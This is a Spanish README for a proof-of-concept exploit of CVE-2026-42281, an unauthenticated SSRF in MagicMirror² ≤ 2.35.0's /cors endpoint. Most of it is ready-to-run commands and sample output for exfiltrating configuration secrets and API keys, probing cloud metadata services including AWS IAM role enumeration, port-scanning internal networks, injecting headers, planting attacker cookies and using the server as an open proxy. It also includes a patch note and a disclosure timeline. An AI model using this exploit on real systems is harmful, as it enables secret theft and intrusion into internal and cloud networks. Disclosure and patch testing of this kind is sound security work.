
Prueba de concepto de exploit para CVE-2026-42281, un SSRF no autenticado en MagicMirror² ≤ 2.35.0, que permite la exfiltración de configuración, el sondeo de metadatos en la nube y el escaneo de redes internas.
/cors
Descubierto y reportado por: Astaruf
Informe completo: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Aviso oficial: Avisos de seguridad de MagicMirrorOrg/MagicMirror
Entrada NVD:
Este repositorio aloja el exploit de prueba de concepto para CVE-2026-42281, un SSRF sin autenticación en MagicMirror² ≤ 2.35.0 que convierte el endpoint /cors en un proxy SSRF totalmente funcional capaz de alcanzar loopback, redes internas y servicios de metadatos en la nube. Con hideConfigSecrets: true, el mismo endpoint también exfiltra los valores de process.env.SECRET_* en una sola petición.
Para la revisión completa del código, análisis de la vulnerabilidad, desglose del parche, disputa del CVSS y cronología, consulta el informe completo en nstsec.com. Este README se centra en cómo usar el PoC.
# 1. Verifica si el objetivo es vulnerable
python3 poc.py -t http://target:8080 --check
# 2. Exfiltra la configuración de la aplicación (con descubrimiento automático de secretos)
python3 poc.py -t http://target:8080 --config
# 3. Sondea los servicios de metadatos en la nube de más de 10 proveedores
python3 poc.py -t http://target:8080 --cloud
# 4. Escaneo de puertos en la red interna vía SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Demuestra el abuso de cabeceras entrantes/salientes
python3 poc.py -t http://target:8080 --headers
# 6. Usa el servidor como proxy abierto genérico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Flag | Descripción |
|---|---|
--check | Verifica que el SSRF es explotable mediante una petición loopback a /version |
--config | SSRF a /config vía loopback, analiza el JSON y busca claves API / tokens / contraseñas en las configuraciones de los módulos |
--cloud | Sondea servicios de metadatos en AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; sigue automáticamente la enumeración de roles IAM de AWS |
--port-scan HOSTS | Escanea uno o más hosts (-p 22,80 / -p 0-1024 / -p - para los 65535 puertos), con hilos |
--headers | Parte A: inyecta cabeceras Authorization/X-* en la petición saliente vía sendheaders. Parte B: reenvía Set-Cookie controlada por el atacante desde un origen malicioso al navegador de la víctima vía expectedheaders |
--open-proxy URL | GET SSRF genérico a cualquier URL, imprime el cuerpo de la respuesta (útil para explorar APIs HTTP internas) |
| Opción | Valor por defecto | Descripción |
|---|---|---|
-t / --target | obligatorio | URL del objetivo, p. ej. http://192.168.1.10:8080 |
--timeout | 2.0 | Tiempo de espera por petición en segundos |
--threads | 30 | Hilos para --port-scan |
--verbose | desactivado | Imprime las respuestas JSON completas (y los cuerpos de metadatos en la nube sin redactar) |
1. Banner del PoC y modo --check confirmando el SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — SSRF sin autenticación vía endpoint /cors
Autor: Astaruf | https://nstsec.com
CHECK, Accesibilidad del objetivo y confirmación del SSRF
[*] Verificando accesibilidad del objetivo ...
[+] Objetivo accesible, MagicMirror 2.35.0
[*] Confirmando SSRF vía loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF CONFIRMADO, el servidor obtuvo el recurso interno en nuestro nombre
<< 2.35.0
2. --config exfiltra la configuración de la aplicación y descubre automáticamente secretos en las configuraciones de los módulos:
EXFILTRACIÓN DE CONFIGURACIÓN, Configuración completa vía SSRF loopback
[+] Configuración obtenida, 1194 bytes
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] abierto a todas las IPs
SECRETOS ENCONTRADOS:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers confirma la inyección saliente y el reenvío entrante:
INYECCIÓN DE CABECERAS, Abuso de cabeceras salientes y entrantes
[*] Parte A: inyectando cabeceras arbitrarias en peticiones salientes vía sendheaders
[+] Cabecera X-Injected-By: SSRF-PoC confirmada en la petición saliente
[+] Cabecera Authorization: Bearer DEMO_TOKEN confirmada en la petición saliente
[*] Parte B: reenviando cabeceras de respuesta al navegador vía expectedheaders
[+] Cabecera de respuesta Set-Cookie reenviada al navegador: session=hijacked;HttpOnly
[+] El navegador recibe esta cookie como si se originara en el dominio de MagicMirror
4. --open-proxy confirma el HTTP saliente desde el servidor:
PROXY ABIERTO, Obteniendo https://httpbin.org/ip vía servidor vulnerable
[+] HTTP 200, 32 bytes recibidos del servidor
{
"origin": "<IP pública del servidor, no la del atacante>"
}
--check (y todos los demás) envía un SSRF loopback a http://127.0.0.1:<puerto>/version. Al probar con Docker, asegúrate de que el puerto del host coincida con el puerto del contenedor (p. ej. mapea 8080:8080, no 8081:8080); de lo contrario, el objetivo loopback no se resolverá desde dentro del contenedor incluso si la instancia es genuinamente vulnerable.--cloud contra una instancia que no está en la nube (Raspberry Pi, hardware físico) no produce resultados: esto es lo esperado y el script lo informa explícitamente. El vector existe; probarlo requiere un despliegue real en la nube.Incluido en MagicMirror² v2.36.0 (publicado el 30 de abril de 2026). El parche se aplica en capas a través de seis PRs (#4084, #4087, #4090, #4091, #4102, #4104). Consulta el informe completo para el desglose por PR, fragmentos de código y la matriz de verificación de intentos de bypass re-probados contra la versión parcheada.
| Fecha | Evento |
|---|---|
| 2026-03-30 | Vulnerabilidad descubierta, issue público abierto, correo enviado al mantenedor |
| 2026-03-31 | El mantenedor reconoció el informe |
| 2026-04-01 | Los mantenedores añadieron SECURITY.md y habilitaron los Avisos de Seguridad de GitHub en el repositorio |
| 2026-04-09 | Aviso formal GHSA abierto |
| 2026-04-26 | Parche confirmado para la próxima versión. CVE-2026-42281 asignado por GitHub |
| 2026-04-26 | Disputa del CVSS: el vector se elevó de Moderado a 9.2 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 publicado, el parche se distribuyó públicamente |
| 2026-05-04 | Divulgación pública (informe + repositorio del PoC) |
Este material se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsalo solo contra instancias de MagicMirror² que poseas o para las que tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.